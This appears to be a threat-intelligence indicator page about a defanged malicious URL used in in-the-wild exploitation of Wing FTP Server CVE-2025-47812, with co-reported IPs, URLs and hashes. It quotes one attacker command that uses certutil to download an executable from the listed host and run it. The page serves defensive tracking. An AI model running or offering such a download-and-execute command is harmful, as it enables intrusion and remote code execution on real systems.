hxxp://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQURL
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 15 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Wing FTP Server RCE (CVE-2025-47812) Exploited in the Wild“certutil -urlcache -f hxxp://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe”
Indicators reported together
named in the same reports- 149.248.44[.]88in 1 report
- 123.123.123[.]123in 1 report
- 185.196.9[.]225in 1 report
- hxxps://webhook[.]site/5d112487-6133-4942-ac87-3f473d44bd81in 1 report
- hxxps://pastebin[.]com/raw/vqqtr8mg&in 1 report
- hxxps://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi?ein 1 report
- 223.160.131[.]104in 1 report
- 103.88.141[.]42in 1 report
- 146.70.11[.]39in 1 report
- c637ec00bd22da45…d65e4f5698f4in 1 report
- hxxps://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msiin 1 report
- f0fcc638cd93bdd6…17cb2f58d8acin 1 report
Copy these 12 indicators · defanged
Also named with it: CVE-2025-47812
Thanks — we review every report.